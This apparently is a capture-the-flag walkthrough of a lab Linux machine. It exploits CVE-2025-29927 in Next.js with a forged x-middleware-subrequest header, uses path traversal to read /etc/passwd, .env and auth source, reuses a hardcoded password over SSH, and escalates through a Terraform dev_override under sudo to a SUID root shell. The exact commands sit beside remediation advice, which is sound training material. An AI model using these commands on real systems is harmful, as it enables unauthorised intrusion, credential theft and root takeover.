← all walkthroughs

Previous

Linux· Medium
owned
2026-09-04
time to own
7m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I recon'd Previous ($TARGET), found it fronting a Next.js 15.2.2 site behind the vhost previous.htb, and chained CVE-2025-29927 (a Next.js middleware authorization-bypass header) with a path-traversal flaw in the site's file-download API to read the compiled server-side authentication handler. That file contained a hardcoded username and password for a user named jeremy, which turned out to be reused as the box's real SSH password.

From an SSH foothold as jeremy, sudo -l revealed permission to run Terraform as root against a local plan directory. Because the sudoers rule preserved the environment, I pointed Terraform's provider "development override" at the world-writable /dev/shm and dropped a fake provider binary there; running the permitted sudo terraform apply executed that binary as root, which planted a SUID root shell and completed full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for jeremy>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and web technology fingerprinting
Scanned the host and identified the web application stack
A port scan showed only SSH (22) and HTTP (80) exposed. The web port redirected to the virtual host previous.htb, which served a Next.js/React application with NextAuth.js authentication; response headers and the page's buildId confirmed Next.js 15.2.2, a version vulnerable to a known middleware authorization bypass.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.18.0 (Ubuntu); 80 redirects to http://previous.htb/; X-Powered-By: Next.js header and buildId identified version 15.2.2.
Exact commands 3
shell

Confirm only 22 and 80 are open.

$ nmap -sC -sV -p- $TARGET
shell

Add the discovered vhost so Host-based routing resolves correctly.

$ echo "$TARGET previous.htb" | sudo tee -a /etc/hosts
shell

Confirm nginx front-end and Next.js headers/buildId.

$ curl -sSI http://previous.htb/
2ExploitationCVE-2025-29927 — Next.js middleware authorization bypass
Bypassed authentication on protected routes with the Next.js middleware header
The site restricted /docs and /api/* behind an authentication middleware. Next.js versions before 15.2.3 trust a client-supplied 'x-middleware-subrequest' header that marks a request as an internal middleware-to-middleware call, skipping the auth check entirely (CVE-2025-29927). Sending the header with the middleware name repeated five times let every protected route be reached without logging in.
A single 'middleware' value returned 307 to /signin; the 5x-repeated chain reached protected API routes directly.
Exact commands 3
shell

Without the header: a redirect to the sign-in page. This is the control.

$ curl -sS -o /dev/null -w '%{http_code} %{redirect_url}\n' http://previous.htb/docs
shell

With it: the page. The value is the middleware's own name repeated five times, because the check counts how deep the chain claims to be and refuses to recurse further — so the request is treated as one the framework made to itself.

$ curl -sS -o /dev/null -w '%{http_code}\n' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/docs
shell

Bypass auth middleware and confirm traversal reaches /etc/passwd (discloses user jeremy).

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/api/download?example=../../../etc/passwd
FixUpgrade Next.js to patch the middleware authorization-bypass vulnerabilityCritical
WeaknessThe deployed Next.js 15.2.2 trusted a client-supplied 'x-middleware-subrequest' header to identify internal middleware calls, letting an unauthorised user skip the authentication middleware entirely on any protected route.
FixUpgrade to Next.js 15.2.3 or later (or the patched release for your major version) which strips/validates this header. As defense in depth, strip any client-supplied 'x-middleware-subrequest' header at the reverse proxy/CDN before it reaches the application.
3ExploitationPath traversal / arbitrary file read (CWE-22)
Exploited a path-traversal flaw to read the compiled auth handler and recover hardcoded credentials
The now-reachable /api/download endpoint accepted an 'example' path parameter with no sanitization, allowing arbitrary file reads outside the intended download directory (the '--path-as-is' curl flag is required, or the client normalizes the ../ segments away before sending). Reading the compiled NextAuth handler exposed the authorize() function's hardcoded credential check for username 'jeremy'.
GET of ../../../../app/.next/server/pages/api/auth/[...nextauth].js revealed authorize() comparing to username 'jeremy' / password.
Exact commands 2
shell

Read the compiled NextAuth handler; adjust the ../ depth to match the app's install path. URL-encode the [...] route segment.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'
shell

Optionally pull .env for NEXTAUTH_SECRET / config confirmation.

$ curl --path-as-is -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../app/.env'
FixEliminate path traversal in the file-download APIHigh
WeaknessThe /api/download endpoint passed a user-supplied 'example' path parameter directly to the filesystem with no normalization or containment check, allowing arbitrary file reads anywhere on the server including application source and configuration.
FixResolve the requested path against a fixed base directory, reject any path whose resolved value escapes that directory (path.resolve + startsWith check, or a library like path-is-inside), and serve files by an opaque ID/allowlist rather than a raw filesystem path.
4Initial FootholdCredential reuse across application and OS accounts (T1078)
Reused the hardcoded web credential to log in over SSH
The username/password baked into the site's authorize() function ('jeremy' / <withheld>) was also the real SSH password for the local Linux account jeremy, giving a direct interactive shell.
Sshpass -p <withheld> ssh jeremy@$TARGET id -> uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy); user.txt read from /home/jeremy/user.txt.
Exact commands 2
shell

Confirm foothold; expect uid=1000(jeremy).

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jeremy@previous.htb id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
shell

Read the user flag -> <user.txt>

$ cat /home/jeremy/user.txt
FixRemove hardcoded credentials from application code and stop reusing them for OS accountsCritical
WeaknessThe compiled NextAuth authorize() function contained a hardcoded username/password pair, and that same password was reused as the actual SSH login for the corresponding Linux account — a single source-disclosure bug directly yielded a shell.
FixMove all credential checks to environment-supplied secrets or a proper identity provider, never literal strings in source; rotate the exposed password; and enforce unique, non-reused credentials between application accounts and OS/SSH accounts (a password manager or vault, plus SSH key-only auth, prevents this class of reuse).
5Privilege Escalation EnumerationSudo misconfiguration — environment preserved across privileged invocation (GTFOBins: terraform)
Found a sudo rule allowing jeremy to run Terraform as root
Sudo -l is two useful lines here. The first is the command jeremy may run as root: terraform, with a fixed -chdir and a fixed subcommand, which looks tightly bound. The second is a Defaults line carrying !env_reset, and that is the one that matters — it tells sudo to keep jeremy's environment instead of building a clean one, so the root-run Terraform reads HOME as jeremy's and picks up jeremy's own configuration file. A command with no arguments left to control is still controllable if it reads configuration from somewhere the caller owns.
Sudo -l reported 'Matching Defaults entries for jeremy: !env_reset' and 'User jeremy may run: (root) /usr/bin/terraform -chdir=/opt/examples apply'.
Exact commands 1
shell

From jeremy's SSH session. His password is needed for the listing and for the run in the next step — the rule is not passwordless.

$ sudo -l
(root) /usr/bin/terraform -chdir=/opt/examples apply
FixRestrict the sudo Terraform rule and stop preserving environment/writable temp directoriesCritical
Weaknessjeremy could run Terraform as root via sudo with the environment preserved (!env_reset), so his own ~/.terraformrc and HOME were honored inside the root-run process; combined with a world-writable /dev/shm, this let a planted 'provider' binary be dev-override-loaded and executed as root.
FixRemove the !env_reset exception for this sudoers rule (or scope it to only the needed variables) so root's own clean environment is used; run Terraform from a wrapper that pins TF_CLI_CONFIG_FILE and TF_DATA_DIR to root-owned, non-writable locations; and mount /dev/shm (and /tmp) with noexec where the deployment allows it to prevent execution of an unauthorised user-planted binaries.
6Privilege EscalationTerraform provider development-override abuse for local code execution
Pointed a Terraform provider dev_override at a planted binary and ran it as root
Because the environment was preserved, jeremy's own ~/.terraformrc (read via HOME) was honored even when Terraform ran under sudo. Terraform's 'dev_overrides' feature lets a CLI config force a given provider source to load an arbitrary local executable instead of a signed, verified plugin. Pointing the provider used by /opt/examples at a file dropped in the world-writable /dev/shm meant the next 'sudo terraform apply' executed my own code as root.
Terraform apply output: 'Provider development overrides are in effect ... previous.htb/terraform/examples in /dev/shm'; the exact -auto-approve invocation was rejected by the sudoers argument match, so the plain 'apply' + 'yes' confirmation was used instead.
Exact commands 4
shell

Confirm the required_providers source string, e.g. previous.htb/terraform/examples.

$ cat /opt/examples/*.tf
shell

Force Terraform to load the provider binary from /dev/shm.

$ printf '%s\n' 'provider_installation { dev_overrides { "previous.htb/terraform/examples" = "/dev/shm" } }' > ~/.terraformrc
shell

Plant the fake provider binary; filename must exactly match terraform-provider-<name>.

$ printf '%s\n' '#!/bin/bash' 'cp /bin/bash /var/tmp/rootbash; chmod 6777 /var/tmp/rootbash' > /dev/shm/terraform-provider-examples && chmod +x /dev/shm/terraform-provider-examples
shell

The sudoers rule doesn't match -auto-approve; run plain apply and pipe the 'yes' confirmation instead.

$ printf '%s\n%s\n' "$PASSWORD" 'yes' | sudo -S /usr/bin/terraform -chdir=/opt/examples apply
7Full CompromiseSUID binary abuse for privilege escalation (T1548.001)
Used the SUID root shell to confirm root and capture root.txt
The malicious provider script ran as root when Terraform loaded it, copying /bin/bash to /var/tmp/rootbash and setting the setuid bit. Executing that binary with -p preserved privileges, giving an effective root shell that confirmed full compromise and read the root flag.
/var/tmp/rootbash -p -c '/usr/bin/id' -> uid=1000(jeremy) euid=0(root) egid=0(root); root.txt read from /root/root.txt.
Exact commands 2
shell

Confirm euid=0(root).

$ /var/tmp/rootbash -p -c '/usr/bin/id'
shell

Read the root flag -> <root.txt>

$ /var/tmp/rootbash -p -c '/bin/cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp